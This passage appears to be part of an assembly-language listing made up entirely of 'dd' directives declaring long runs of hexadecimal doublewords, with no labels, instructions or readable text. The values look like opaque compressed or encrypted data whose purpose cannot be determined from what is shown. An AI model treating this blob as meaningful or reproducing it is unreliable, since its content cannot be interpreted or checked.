8416C7Ch, 91094C17h, 5AAEA400h, 8FD813h, 0C8B39745h dd 3FC4387Ah, 18A7FB00h, 7CF8DFEDh, 9735Ch, 0F716D0AFh dd 0C65E71Fh, 9048600Eh, 0E122200Eh, 1B7447h, 0C6818E5Dh dd 0C77C3F68h, 1FB85A0Eh, 12834027h, 14D222h, 0BFEC16A3h dd 94A74532h, 7D0B18C0h, 1D63F34Fh, 81F99EB3h, 0D28C1C69h dd 0D024E1AEh, 6C1D1293h, 6803286Dh, 1D9542h, 3FD3D550h dd 524A2F11h, 1A67DB03h, 8847156Ch, 2D7712h, 0D8295D0Fh dd 89316820h, 0F67389C0h, 62D1CFAh, 13D65665h, 5C300855h dd 2ED12020h, 30690FFBh, 0C680415Fh, 38F2B4DDh, 83119200h dd 0A98BB705h, 21CB30FEh, 0AB3532A0h, 2F7A2D01h, 6CD32C62h dd 795C0EE0h, 0EF930137h, 94ADE840h, 0A2D1803Bh, 0E2A61ACBh dd 99AF602Ah, 86215B7h, 552FD0Eh, 7D1B004Eh, 11555Fh, 19CA6C76h dd 0BC3F6D94h, 0B7AE6407h, 1440A112h, 0F0ED4942h, 462102CCh dd 246B3067h, 0F09F0341h, 0E500127Eh, 411C370Ah, 0FE1FFE8h dd 1A5D6BD6h, 880FD4Bh, 200F12BAh, 8E7E20C0h, 29C3623Fh dd 6220A018h, 26306CA3h, 0C9B7601Fh, 7E5F8B3Dh, 88A6A800h dd 7C335225h, 2185602Ah, 0C7C092D9h, 13918D00h, 64B53987h dd 734C0134h, 0C89A1BCCh, 0C5945023h, 0C6009B3Bh, 9555F62Ah dd 1E090690h, 9CABFC3Dh, 0AFC6AE2h, 4BDD0AA9h, 0A6A500B4h dd 0A7C21CE7h, 7F73FF0Eh, 6D86FAFh, 95935C8h, 36537542h dd 0CC606F80h, 7174ADACh, 7B214960h, 8B4067h, 3416FD4Eh dd 0F6F1E6Ch, 85188E7Eh, 7029829Eh, 2CC152D8h, 0F1531C01h dd 0B697DE4h, 53627800h, 0E037559h, 3214A9F0h, 4AC24DCh dd 2A7F20CCh, 3C33548Ch, 4DA379FBh, 0F61FB421h, 0D335FB41h dd 61808EC1h, 0F2AD7D14h, 46375E5Bh, 5CC0281Eh, 39B7B13h dd 0D6721612h, 0E2991B99h, 40808A39h, 0FF009C70h, 6857BF49h dd 984BF31Ah, 6DC040C8h, 644D9DDh, 11A9E226h, 2139810Ch dd 0B87EB013h, 1D941D25h, 85C53FD9h, 138A98Ch, 8BF51654h dd 0AC28817Fh, 0EDFA307Dh, 9BB23980h, 0A62382DEh, 0B362B0Ch dd 0C55C08F6h, 0C0C45421h, 0F3DB963Bh, 416C9700h, 0A5E61611h dd 0D370765h, 0F559E22Fh, 23702F67h, 45070325h, 70007DA6h dd 0C7CA3947h, 0A06D42h, 5737661Eh, 5F5D4A65h, 23168970h dd 0B0007236h, 0B85B0C38h, 1B220C48h, 0F2F11F54h, 9B2D9400h dd 92CDCEA8h, 0CC763A9Fh, 5F211B30h, 0CF0E2C5Dh, 0A9A91FBFh dd 9E38AAE9h, 0DEC69930h, 0A36B0059h, 72F01F73h, 0DDF8B1A2h dd 1015C0A1h, 5275F76Ch, 4022CCA5h, 0C06190C8h, 0A8B52D96h dd 0EA309E46h, 2D7F5979h, 7253C401h, 0ACE3C3B8h, 1D1EC4Ch dd 11CBAD3Ah, 40311034h, 0B964D6B8h, 0BF6BCC3Bh, 9C3A2479h dd 1A60C364h, 0E5512B53h, 0C00BBCh, 0F8536962h, 1F27D929h dd 5DE2F722h, 606F5446h, 9F2D9880h, 0CC436EA8h, 0B211C30h dd 7B012D81h, 3F178EF5h, 0CC47A7C3h, 351A9D1h, 0E0BAEC30h dd 0BD3046Dh, 0D0E59599h, 54E932ACh, 3B7870B8h, 6D4CE21Ch dd 0FAA51F40h, 60E19487h, 2F174189h, 58C0C16Ah, 4B6DE705h dd 0E036F815h, 0AEEC24D9h, 0BD3F8020h, 0CA3AFE76h, 271B2901h dd 704517C5h, 9BD220E0h, 0FAF80104h, 18552D1Ah, 0D300EB65h dd 6E76FB30h, 25015100h, 19942349h, 5E0202A7h, 72D92B1Bh dd 3FE47845h dd 16FCCA60h, 90D09400h, 1599D778h, 93FB166Ch, 10447BEBh dd 8B821EF3h, 0A11F6785h, 71AE1620h, 8B83DB44h, 0A988EFF0h dd 0A2780E30h, 0E051D815h, 40C75648h, 1904C920h, 0EB398F37h dd 30DE80C8h, 0E25066C4h, 89004A2Ch, 12CC82A6h, 28C251DFh dd 0E0AA28h, 20CBB28Ch, 47A59270h, 70D22934h, 0C84FF8C2h dd 924E4B94h, 118C073Ch, 501BA9CAh, 0BCB3CD78h, 140B1702h dd 62965BDCh, 8D144084h, 0B7A10708h, 8223DD11h, 0A4E1B1B6h dd 7FFAE493h, 62008CB8h, 917060CAh, 30BC12A8h, 0AB408DBEh dd 71DF1354h, 309F0429h, 0A6B3FD40h, 132B9078h, 1F27D44Ah dd 0AA5303F4h, 0E4C211A7h, 0C0256040h, 0A15F076h, 3B8C9AE8h dd 30383479h, 92F3B4C0h, 7ED20283h, 521C98AFh, 4725C940h dd 7CBFAD24h, 5028A515h, 0BC653114h, 0C00C1218h, 132C99ADh dd 4194451Bh, 0E1B40A20h, 68604C34h, 33262419h, 3F02B6A8h dd 2C471721h, 0B9071A0h, 22642F36h, 80404000h, 73623725h dd 4238E021h, 0D97C10A9h, 0E708A92Ch, 0E1723C42h, 0F1A821E4h dd 0A4E59838h, 9F0D2410h, 99120070h, 9D11A1D2h, 4148E550h dd 0A13038Dh, 481E6AD1h, 7CD8A651h, 7148A9C9h, 26EC3E5Eh dd 94FA8303h, 81002AA3h, 1F725813h, 0CFE741E1h, 44A07830h dd 24D92542h, 50073B28h, 1D7B9118h, 5C6D1E39h, 2F0A386Bh dd 40CC18DFh, 5837ED3Fh, 4F9D11C0h, 2E1F2CD6h, 116C19B6h dd 0EC600127h, 0D9FE4BADh, 57527600h, 1021BB30h, 0F6A93B55h dd 0DD3288D2h, 0C9852B0Bh, 15540038h, 0A207E80Ch, 0D0DC0234h dd 222503E6h, 53A0E4C3h, 866CF9A0h, 6A027819h, 400058E2h dd 72A6ECDFh, 406C44Bh, 0E9164C7h, 2BB02AEDh, 20059969h dd 6B868213h, 1D118481h, 2529D08Fh, 0FFD0CBE9h, 131695ACh dd 8004ED94h, 9F0A21F8h, 688CF840h, 6834C434h, 0FAB4032h dd 0C9191303h, 6C621901h, 0D21ECCAAh, 0AE154806h, 2AAC549Eh dd 0B8CA54ADh, 1025BCB2h, 4C7A3174h, 253F50D5h, 3C7240E0h dd 0E8049A9Eh, 7311946Dh, 10801C94h, 0EFAF315Eh, 41E70101h dd 829320Ch, 10E642D4h, 0C7171D3Eh, 1AB44124h, 5B20D311h dd 383D9204h, 7C0A0408h, 0DBF61F92h, 5B1D0191h, 101CEFAFh dd 6D2A3324h, 140850A1h, 76904B1Ch, 6D0FC15Eh, 3E2095D8h dd 0CD10F75h, 0E63660D5h, 0CEAE9435h, 289483D1h, 0DC621845h dd 199A6065h, 0A0922804h, 1C83D819h, 10CF89EEh, 0D15075AAh dd 28604210h, 48E08A2h, 0D59A920Fh, 40218A3Eh, 8C9761Ah dd 22C01C04h, 0CA18E752h, 940CA009h, 0DB141423h, 816448A2h dd 508A7799h, 0E02C2158h, 965200C6h, 723BD7BFh, 0ECA65844h dd 1FD93720h, 3EBDB8EFh, 5CFC08E8h, 86F50485h, 10807D45h dd 0B4546F29h, 42AD6301h, 1C303713h, 0BDA029Eh, 8BB7DCE4h dd 0FF882220h, 4D6C0952h, 0E4904B84h, 79331F4Fh, 1AB83838h dd 592C4C69h, 839C1041h, 4A016249h, 0C8C7BD2Fh, 70C178F5h dd 9C24A7FAh, 0E3760B6Dh, 0ACA9D930h, 0D0DC2804h, 8F3B3FF0h dd 29694360h, 0B033E74Ah, 2D990044h, 1BEEA6A7h, 710EA0C5h dd 8E9294DFh, 0E850607Ah, 3913C2B2h, 105D52B6h, 75078322h dd 78941E0Ch, 76D03941h, 228B34E0h, 48CC144Ch, 0E8DE51D9h dd 0D5D1008Ch, 617C2DB8h, 8E02022Bh, 26E90725h, 0F5BDE018h dd 21B6030Ch, 50B0ED1Ah, 0F447A9F9h, 4992A7Ch, 8945A01Ch dd 0EC91D993h, 1D10C40Fh, 0C9163AF3h, 24109920h, 0FAC40144h dd 27268752h, 489F79E9h, 8E56CCD9h, 0C18B6528h, 0F2FCA36Ch dd 0B9C1C321h, 11B894D0h, 38C0956Ah, 3B81FB52h, 16F71628h dd 0E1486638h, 708926Bh, 0D4E5C8C0h, 7AAA2C90h, 5F4C3A1Fh dd 0B05DCB0Eh, 5A04B25h, 0A07C5210h, 50A1A2C8h, 79A8403Ah dd 0ACA1200Ch, 0A6F8243Fh, 2B079972h, 0FE336E7h, 10A01923h dd 2BD24350h, 10B0A827h, 7872B07Ah, 0AD141C0Ah, 9380ECCCh dd 2144904Ch, 43147ADCh, 0A7B87BC2h, 11B63192h, 0C8710BCh dd 991F3A9Fh, 0D936A00h, 3552378Bh, 19331200h, 0DE8745E8h dd 9F0A038Ch, 0C2569255h, 0A22A790Ah, 260AA48Eh, 0E107F42Dh dd 0E0CED436h, 0EAA70A93h, 2BF83F0Fh, 34522486h, 417FC81Ah dd 0ADD62000h, 51D0D16Eh, 6D8E1EC8h, 3E50E44Bh, 0E2EC80FFh dd 7840B55Dh, 4BAF6309h, 0A298A105h, 30882052h, 1385311Fh dd 8D22302h, 3D82836h, 4AA220ADh, 4A811EA1h, 0DA47128Ch dd 35D14401h, 0B404C0B0h, 45356378h, 1C1D81C2h, 5977E837h dd 0B6303889h, 107F4187h, 8E433888h, 1344CA9h, 60525E4Bh dd 4498587Dh, 7C01AE73h, 5A2CA067h, 28E00C8Eh, 0ACF601A2h dd 0AD9F3592h, 706D4Bh, 0C4AB621Ah, 9156A0CEh, 29209978h dd 0ABC40941h, 84F8B4C7h, 81B47BA2h, 517EED88h, 0E7D03B58h dd 974690A6h, 5236A405h, 3CF0009Ah, 13EF253Fh, 0AC601AE2h dd 54815C80h, 4FB0CF9Ah, 0E363A560h, 0B8920D10h, 2C502503h dd 0BB889E34h, 7C8211h, 2792956Dh, 71C160F2h, 0A85CDE85h dd 0E023B6FDh, 0E5CC837Ah, 5C88A4ECh, 1388430Fh, 0A8A3490h dd 9880F1F7h, 7C99A167h, 0BB048C38h, 0FA9DB6F9h, 599E3881h dd 51DA8450h, 90DAF1B1h, 0F8AD088Ch, 49D91999h, 30A881EEh dd 0CC15B804h, 1E989F44h, 8B0FF70Ch, 370B06D6h, 57D0F910h dd 0D4B5A7Fh, 4641B700h, 600C18C8h, 10AA5213h, 0DD7E00D4h dd 1B5E0BCFh, 2EC4B51Ah, 0FCD04011h, 0A59F79h, 0DE6D75F8h dd 36FE0AA3h, 34A2B80h, 0CCB7EA09h, 1E2D22A8h, 816C8443h dd 67FB6D60h, 548C3DF2h, 3F8B466h, 0BB2BFB64h, 51FFB5ABh dd 80F14D92h, 298F3A58h, 0CE84107h, 0D6E94C75h, 0C02C0D18h dd 6781787Dh, 7EE840F0h, 0D9A1C410h, 1BAA2E03h, 887C798Ch dd 2D82B2CFh, 0E0976FCCh, 0C1815411h, 0FC7BFF1Dh, 2F002E08h dd 0B7AF3B0Eh, 0B09A11A7h, 0D98C063Ah, 183AE6E5h, 542E485Ah dd 0C121F610h, 829E286Bh, 0D167D4h, 13331B0Fh, 4599D5F4h dd 3905EE7Bh, 5F72FBDh, 0F03720E4h, 10026073h, 0C6EDD929h dd 0CE9834CFh, 0CF39E0C3h, 7DE33B9Ch, 0BD3E00C4h, 0DACDE2F7h dd 2500DFD4h, 0F2EB2BF3h, 0C9C7CB3h, 5BEEEC1Eh, 8300FC7Eh dd 41F042A3h, 0CDACA20h, 0D5A055E0h, 0F400A838h, 58EEA987h dd 1DBC4F89h, 50515Fh, 0A824E108h, 0AA037E1Fh, 0FDA0D7B4h dd 88F8AB31h, 1192DDh, 0C620E95Fh, 53E36581h, 0FC3D94EEh dd 0DEAE8005h, 0D4A86C7Fh, 0AAE4005Fh, 0DB198C01h, 58D8E32Bh dd 30C6F6B8h, 0D9983DEBh, 510084B3h, 0A842E32Ch, 60B83971h dd 7D0528A7h, 0A303AC9Eh, 0A60EF527h, 130830FCh, 9E453049h dd 0A1853C00h, 64EC7616h, 6FFE0099h, 9A181DDBh, 543BC783h dd 92D985E9h, 9C40BC16h, 67CC3248h, 456D0643h, 8152AE3h dd 0E221B96Eh, 4085CC6Ah, 1899C47Ah, 4953E10Bh, 4B339A0Ah dd 0F058109Bh, 94B9E8h, 7196C1A7h, 31BA424Ch, 1C43DF03h dd 0C038D14Dh, 0DC68BFh, 0F416A93Fh, 0B3CB55AAh, 4C596000h dd 62A30358h, 7ECF0097h, 8BF14B8Eh, 0F4005DB7h, 7A9E6AAEh dd 121363h, 3A592015h, 2180980Eh, 2D01E2E4h, 1CC2D15Eh dd 0A130F193h, 6DA006Bh, 96FAFB43h, 5A00BFA4h, 0C33036A0h dd 1A4163C2h, 104D6DB6h, 3A0A0418h, 316C3Eh, 85BA93E5h dd 7B2D510Bh, 7E7928h, 0F31523BCh, 0E7A25D0Ah, 0BBEB290Ch dd 840929BEh, 10929E22h, 11E98A79h, 0B511D26Fh, 28E7111Ah dd 51A3617Dh, 384F71Fh dd 0EA2907F1h, 70CE2FE8h, 0EDD5C2C0h, 2DEE3Bh, 43CCBA20h dd 2C3DC8h, 24AD92AAh, 0A35CD65Bh, 8E600760h, 339DB3h dd 0E24045DBh, 1E37ACC5h, 0C00A0503h, 0B0E31859h, 0AAFCD2h dd 2B0904FAh, 6310501Dh, 4C5A2F1Dh, 0D61B55C0h, 0D9B706h dd 40FB9087h, 0A8233ECBh, 25584500h, 275FB309h, 975A0019h dd 0C7D3485Eh, 0D000A522h, 42C4EA34h, 1F1AF3F1h, 803FBD70h dd 244E6E0Ah, 870048D8h, 51C060AFh, 1C971Bh, 0D3F53BB1h dd 1338AE54h, 0E70B8D00h, 1D537CC4h, 0D5370569h, 2FCAF8h dd 0DEB3D1DCh, 89EE467Ah, 9EA5053Bh, 0F00711E9h, 0C1C02386h dd 7AE253Eh, 0A0A46696h, 872A40C5h, 34124F10h, 321CEF44h dd 455C840h, 0FC49FDF0h, 0B5ECFE0Bh, 3682B6E0h, 0CA3A98A0h dd 9A27BD03h, 0A08E80F5h, 0C070E28h, 8C6D02B9h, 0B100FD10h dd 0F868EDDFh, 49C0FC5Eh, 7E0030D5h, 0C88D2C23h, 3500ED7Fh dd 7AAE7B0Fh, 0EBB23Ah, 0EC238774h, 7D6B3F8Eh, 0DDA29F0Ah dd 9194ACBDh, 824E00E4h, 0F30E825h, 164D0029h, 6EF85D56h dd 0FF053A1Eh, 899CB3FDh, 5055EC00h, 14099A2Ah, 0C4A561EBh dd 5B7D2300h, 543B65FDh, 0B89958CAh, 201B740Fh, 1BAE434h dd 0CE890029h, 41CD2B3Dh, 8A3CF912h, 0B26680FCh, 0B4AF2D2Ch dd 14391C54h, 0DE9A00D0h, 0A68A600Fh, 45367701h, 627332DBh dd 5BB4CD40h, 7C24F4CDh, 8FEAEh, 73B67470h, 6DC41621h dd 126A1305h, 0ABC086EEh, 0F9745683h, 3BCC8F8h, 6E149589h dd 0CB90F9BEh, 3439B036h, 0AF75034Bh, 0B2E205h, 0FBA95F11h dd 6BD7DBC0h, 3A7703Ah, 0F18AF7ACh, 779898BDh, 0A0F00E0h dd 0F3A08D30h, 6900F4E7h, 47CDA4ECh, 0B1EFFh, 6FA89C74h dd 0A55B6124h, 0A3FBEF00h, 0A4BCE6B0h, 8B3B0073h, 0C1D14856h dd 230171A6h, 99EA43FDh, 0A3308628h, 0D8F202AAh, 8DE7FC5Fh dd 14AFCA0h, 0B40F5990h, 47264B4Ch, 0DEA03563h, 1576FF83h dd 0C823F2B6h, 500C0E0Fh, 0D7941B20h, 0B704E734h, 0D1DD966h dd 213FDD40h, 9F07CE1Bh, 544003FCh, 75B00670h, 0E01F0FCDh dd 1600196Fh, 2EDDBDCCh, 30F28400h, 45FA55B4h, 7DE60048h dd 79855F88h, 0FB004D71h, 4F3E205Dh, 7A51309h, 301E0BFAh dd 939D4025h, 1C0064A1h, 947E66DAh, 0AC5A6Bh, 9603C8EEh dd 0D684837Ch, 0DAFEEA07h, 4511BB54h, 9820BAB0h, 47AA00C9h dd 10D86B41h, 4A3D6E08h, 7F2880F5h, 118B071h, 2A370AF4h dd 3F8ECAFh, 361C25C8h, 6DFB7AF8h, 76DA4A00h, 2C1401FEh dd 5421002Eh, 242AA573h, 0EA00C115h, 57173364h, 30A4D70h dd 49CEF512h, 8B8932Eh, 8F006F86h, 0AAFFC55Ah, 90EE5B66h dd 5EC700FDh, 8A0E88BBh, 0B10020ADh, 0A886E583h, 196BE2h dd 9BDE2EB8h, 2276D7ACh, 0BC581D00h, 0DDFF9637h, 0B8BAE511h dd 6197C780h, 0B8BBE8D3h, 0C6479E00h, 5DEC9483h, 0B67D18C8h dd 5B1C519Ch, 69CF3700h, 41DE6F97h, 92B00C53h, 0C207457h dd 635B5D1Ch, 3B2CD5C0h, 145F1F4Ch, 0DE28AB5Ch, 39383A00h dd 0CA148849h, 1AC08000h, 4C4AB00Ch, 0B5D30137h, 44A83EF8h dd 78DAF448h, 5B1C46F4h, 0D680F4A2h, 108085FBh, 0C262006Dh dd 0CA21425Ch, 0EA006C55h, 597D7908h, 2B75E0h, 696A9772h dd 0C6399C8h, 0C2195600h, 36C62CA1h, 0D1E81648h, 25A800F1h dd 132A8189h, 2EAD0400h, 751E4DC1h, 9892003Eh, 0A4F45AA8h dd 3013F7D3h, 9000CC3Ch, 0BA954B1Ah, 1B1400ACh, 0CC01162h dd 98796705h, 13068301h, 7C5B17CAh, 1B4DA8CFh, 8E840A65h dd 0E842EEh, 0A38845B4h, 5B000CB6h, 8A5C6C25h, 4C2E879h dd 0B4CDD4D1h, 648081B7h, 8983C858h, 803C683Fh, 3D100C7Bh dd 3CE997A9h, 34A6D0CAh, 0DF1A017Ch, 80946C95h, 55933A18h dd 836902h, 0D4F6DC74h, 47F8A3EAh, 63CCB00h, 0B5B4B26Ah dd 6D36073Eh, 0E0A54632h, 9D084976h, 0E33F9100h, 56D09B12h dd 369F0915h, 881F572h, 603AEC3Bh, 9B1322A0h, 0D4005E2Bh dd 0A1234FB1h, 8AFC481Dh, 44ED0602h, 9CC09889h, 0A80037E4h dd 2CDA79FDh, 1376EF33h, 4D35491h, 0C0A5CE21h, 0F340B478h dd 0A4F149h, 0EF7A27ABh, 0ACDE4Ch, 69174381h, 478F7B03h dd 630EE61Dh, 5771C080h, 17A7B8E7h, 73299Dh, 0E4C70C84h dd 0B5008539h, 0D45C5DD1h, 7088FEBAh, 3E0A7568h, 0E0806034h dd 0AD790DBBh, 0C424A286h, 9900973Dh, 0F69EA481h, 0FEF2005Eh dd 0F398C7FFh, 6F00A9EFh, 0E5B02A16h, 1DC6262Fh, 689B9AE4h dd 0B38700FBh, 4F98541Bh, 314E679Ch, 0C80FAA16h, 4B41806Dh dd 9A2F8Dh, 0E7BD3C44h, 59DA05B4h, 0D876B61Ch, 75C1B580h dd 0E6AFE02Dh, 0ED19001Bh, 72F96714h, 3300B84Ch, 58FB8734h dd 2511A7h, 2BF76FBEh, 83E97164h, 8F571600h, 3F6EB0B8h dd 129C002Ah, 0DAF61CA4h, 0EC9872EFh, 69262500h, 1B479A13h dd 4A45002Bh, 0E53118E2h, 0DE130FB4h, 0AC007B77h, 59EFF530h dd 3F74B0DDh, 0C00B528h, 46C6B84h, 0FD90EC7Ah, 2E95E300h dd 0ED822DA9h, 2B6100FAh, 6A6F79E0h, 5C941D4Fh, 99A74000h dd 737473Fh, 0B5420371h, 44CD30BFh, 541D096Bh, 0FF56A5ABh dd 60199500h, 14CEE175h, 8D39B4Dh, 2DE78403h, 0F98EDF7h dd 280AA670h, 0F86E626Bh, 1DA1740h, 0AFBB0FB1h, 0E7A75CA2h dd 9040A93Ch, 9508742h, 8C7532E0h, 1C540402h, 80B2516Eh dd 0EB2C3820h, 4008E2A5h, 0BA44465Ah, 98ED0180h, 0BE228789h dd 0DBBE20A8h, 6E191A03h, 0B0C540D5h, 982B6BFh, 783C13A1h dd 60162041h, 93009646h, 1B98AD38h, 160E751Ch, 476CE1A8h dd 30F9EA2Ch, 955AA4CEh, 0EE131F03h, 0E8385D67h, 3DCAA745h dd 9D80C32Ah, 7E70298Bh, 1539463Fh, 4FE48010h, 78C3F9C9h dd 280260CEh, 6E747C68h, 1074D7Dh, 54CCFA27h, 55AE7FD1h dd 26A6AFF4h, 1E8CDAAh, 0E789550h, 3AABCCCCh, 0F200BF7Eh dd 0EF1ECB64h, 1D2A305Ch, 0C0DFE04Dh, 0AD0374CEh, 3F50E9AAh dd 44000CC0h, 933EB71Fh, 0E8F2F5h, 75956294h, 0D6C15056h dd 3865EC00h, 0F89F7D98h, 7EB20035h, 10EB4B67h, 753B2431h dd 56B00358h, 0C84C7B80h, 0FDF540h, 7207E8C5h, 14B86F5Bh dd 1B87A200h, 0CC9B77A7h, 19E23D4Eh, 0E7F92Eh, 0F32F1286h dd 47006D4Ah, 95533CC4h, 3B4C7128h, 400857Ch, 0AED7A69Bh dd 72245DAFh, 0E300ED17h, 0EF6BB6A8h, 7E4EB82Ah, 0DE1E00E4h dd 0E2931F0Dh, 6E00DA90h, 0ED2363ACh, 0D6A19Eh, 0F6838E8Fh dd 0D522307Dh, 915E1F01h, 9E071971h, 1293DC20h, 315E19Ah dd 33C76C73h, 0A33AF9E0h, 706E03Ah, 64EF4472h, 1E894170h dd 5ABE00B2h, 52CD6207h, 7900821Bh, 28DC615Bh, 189F8E3h dd 9B2F6BB4h, 0E97E131Ch, 0EA2880B6h, 0A2F6C821h, 265C076Eh dd 87A0795Fh, 75C0EE44h, 87DB3AEFh, 0D3721913h, 343F40Eh dd 0C1D238E3h, 7470182Bh, 0BE020027h, 0FE10C478h, 173E191Ch dd 0EA6B0076h, 3E4E25DBh, 0B9E505B7h, 805EED98h, 2450B6D0h dd 0FC7B9600h, 0E310F07Fh, 14E0084h, 15773DEBh, 860AC925h dd 0BC6C0398h, 24702Fh, 9153B1E1h, 0BB605E6Eh, 78F7100h dd 0F5AADC55h, 95CC127Eh, 6FB840BEh, 803BE2C7h, 0B1590C00h dd 3CA5058Fh, 0A6AE0065h, 436473CEh, 0BC0C6AEFh, 68900B2Bh dd 343C098Bh, 645EBBC5h, 4F5CAB00h, 580B9Bh, 3CFD3ADAh dd 633F47C7h, 8DAA051Eh, 0CDF43830h, 0B868180Ch, 3082108Eh dd 0BD4A520Ch, 205798F8h dd 0D52772FCh, 0C124017Ch, 0ABC4514Eh, 50A100F4h, 115DE008h dd 3F002BD9h, 727880AFh, 544BD81h, 0A74A6DFFh, 17AB8C9h dd 5351F49Fh, 20212Bh, 0C07A01E9h, 0DAEA5E3Eh, 0ED07F434h dd 0D8000898h, 44B3AEFAh, 299FA5h, 4671D122h, 0F41EF725h dd 4E0181F0h, 2A423AF0h, 0A860F50Dh, 3B620071h, 0B91E8CBFh dd 0AF092F72h, 81DB5569h, 6797FFE8h, 19081C4h, 6202F9BEh dd 0F8BB5D61h, 0C4E0EBECh, 9A832326h, 0BC5C4100h, 0C49A8CAh dd 5BF055DCh, 350FB311h, 666D4454h, 97838C2h, 0ECB78A08h dd 59095C6Ch, 71505Fh, 75C2F3E8h, 9F3F00F0h, 0CF911D2Dh dd 0D4127C4Fh, 0A00033D6h, 685AB34Eh, 245F4E1h, 700A0ECCh dd 2870116Bh, 0D3C0F11Dh, 0F5956E80h, 2587B91h, 42E41225h dd 0BC689985h, 5600D7E2h, 0F13E7EADh, 0C7DFC6h, 7C8EB9C8h dd 370CFDD9h, 0AA359500h, 0D2F4A4F7h, 26F845h, 0F6D7A9ACh dd 5DC249E8h, 0A87A3Ch, 6A545205h, 7CE1B76h, 979A383Eh dd 0B8DE40F5h, 0D5132D68h, 0C8C1DBD9h, 0D8F09F6Eh, 7B6A004Fh dd 23038869h, 0F000A4F4h, 0B7E6DD05h, 1211CC8Dh, 0B1DEBC0h dd 9020910Dh, 6DF6F75h, 9289B01h, 61D559C4h, 0BD868480h dd 71896468h, 7F925E02h, 0E83484CCh, 287C87Ch, 18D3790h dd 9C4062B4h, 300CC16h, 3999AFA6h, 0E0AE57h, 189109C0h dd 0EEA9B9DDh, 3BAB471Eh, 80886440h, 43018Ch, 0EAAD495Ah dd 0FD3620E7h, 4E5EA8A0h, 0DE191600h, 241E32D6h, 6576012Eh dd 0E0A5B386h, 0F00AF356h, 0DE7E897Ah, 20669800h, 17C19DDh dd 0F0FEEE82h, 2005E059h, 0E97A63DCh, 79D60A00h, 0CE4BFB49h dd 362B0198h, 8873AFB4h, 2EBF42Fh, 0D0134800h, 0CEFF5503h dd 762B0051h, 0F7CA8BC5h, 47005442h, 4B65F492h, 50DF26C2h dd 35F8870h, 0D4E49C08h, 0CFA6187h, 0DEE2E8E0h, 9467F000h dd 10F89E82h, 0AB12010Dh, 31D70411h, 4BEF43D1h, 7B0011D6h dd 30663CCFh, 226502Eh, 4EBA1B55h, 0ACC006E6h, 1109AC03h dd 918FABD2h, 1C8C158h, 44414CCDh, 0E10D8105h, 0E0E80005h dd 0BD9AEDD9h, 0FC0C0304h, 0B4E0C031h, 3A0744B8h, 0A6FBCC1Dh dd 60078E6h, 7ABA51C1h, 0E8EE4C7Ch, 0AB188807h, 0E0ED74D1h dd 96005CBCh, 12DF3861h, 0E09D013Dh, 0E1E0926h, 0F1802357h dd 94B7F24Ch, 2F2B3F03h, 7686Eh, 0D5ADD6A0h, 9DA76A27h dd 5991DE00h, 337D54C2h, 5C2C001Ah, 0A5AF6EC7h, 0A60BB4E6h dd 8B98B06Ch, 3DDD00BBh, 510A875Dh, 0C0E4B90Bh, 30DC4CA5h dd 0F6B1AF00h, 6E1E1176h, 0B272DF00h, 1C0A6CB8h, 0B0E1009Ch dd 19D2F3D5h, 8C0904B4h, 8710FAADh, 80A669Ch, 6745C301h dd 71D41D27h, 0D7120477h, 0C8A70618h, 4700A530h, 0B0194838h dd 123A3722h, 0C0ED53FFh, 0C88DDE24h, 0B69D8500h, 68B9F7E5h dd 95E30760h, 0E06CAB8Eh, 0EDDF9CF5h, 2FF3C40Eh, 9F1CC18Ch dd 0D7F44C04h, 0EC7A0024h, 6DAA6652h, 0F207449Ch, 0B85540C4h dd 371B07F0h, 70B70B49h, 40150D0h, 0CD3E81EDh, 8FFFCB5h dd 0E64C8E1Dh, 0C21309C0h, 0D08203h, 16E25A2Ah, 0F045A597h dd 1D7438E5h, 654032ADh, 0E272631Eh, 35E61785h, 30E442C9h dd 0FD604275h, 0C8007B26h, 25C1B51Dh, 771A11h, 0D7BB1CC5h dd 69F3BF2Fh, 17424600h, 196323BCh, 3029060h, 30B9A651h dd 0DFD8EE5Ch, 92091BC3h, 4007425Ah, 49B0FAD4h, 790048E0h dd 15C85065h, 0C6034FA8h, 76EE6695h, 5F2100E1h, 75B7075Eh dd 0EA0E4FA6h, 83E3A8DDh, 750586F9h, 168C151h, 0F57D0A07h dd 254FD0BEh, 0E42C0400h, 0B0ADF0C3h, 0DDC000BCh, 16A63D5Dh dd 890C742Eh, 0B0D797FBh, 864BA0h, 226CDB48h, 880CC331h dd 5807551Fh, 0E60E19F5h, 93F0991Ch, 0DF0C2088h, 0A2270F4h dd 9DB2D1FAh, 0B1F20424h, 0B66D066Ah, 0DEEC40C1h, 42FAEA06h dd 217F2Eh, 8A869AF2h, 810E3F77h, 5CBA2A09h, 27805770h dd 0FC4B6B3h, 0E0076A0Eh, 2F5A8083h, 6C0BCAh, 0AD7047DCh dd 0F6F19203h, 7F2B5500h, 14736741h, 727FA07h, 0E48CEF82h dd 0A8E060B9h, 78982601h, 0C514FE00h, 20075938h, 560F6004h dd 9D8185D4h, 4D427004h, 0C907339h, 2E23CDE5h, 809CC40Dh dd 27164F40h, 92074B5Fh, 0D68E3AF3h, 68BF80BEh, 7BC02AAAh dd 0D0BE0036h, 748DFE59h, 0C300CE11h, 43D67CAh, 5948CBE4h dd 2D7C2C90h, 78878968h, 111EE0E5h, 6B00366Ch, 0DCDA7479h dd 0E2A4C1h, 0CF2F6881h, 80E57065h, 0A7291F64h, 11A69B21h dd 313D0BBh, 73D34484h, 44A96444h, 6744CE37h, 5E2F442Dh dd 44AFEC44h, 5C42D863h, 5B0410B6h, 76C2FA40h, 0EC7C306Eh dd 0B8B73Dh, 18F875CEh, 0EDAF4Dh, 0B254C404h, 1C490EAEh dd 0FC2ACC07h, 6A8023ECh, 1E306CE3h, 408EDA37h, 0D9F14353h dd 6E0011BBh, 9BCBA5CDh, 1F02FFFBh, 0BA9410h, 8E55B8D0h dd 1200C66Dh, 26BE8D48h, 0E813A840h, 4180F32Ch, 4F3B1D9Dh dd 0CF003FBCh, 3C44A0B2h, 0C5AA89h, 527B864h, 2D5FEF76h dd 8094CC38h, 0DF84254Ch, 60D5Ch, 2368A686h, 431E6B38h dd 1169AC00h, 808AA1B2h, 54590050h, 10A40F84h, 1602869Ch dd 0C8B22A3Ch, 9C05749h, 0A1C3663h, 1F001DBDh, 53D33F54h dd 8B5103C2h, 0A602111Ah, 10DD14D8h, 49EACC0Fh, 0A1C912h dd 372FA5F0h, 9AE400F9h, 0B2032BC8h, 9FF09E7Ah, 0A8049400h dd 8EA6D461h, 856F0040h, 1BAB0287h, 66FA9D33h, 83FC7F3Fh dd 8AC0486Eh, 0D0C8F1F8h, 5F928C40h, 0A77825h, 93C47AD8h dd 994630B2h, 52E98D03h, 0B0DDE35Eh, 5B15B1h, 58F18A4Fh dd 4649FCCEh, 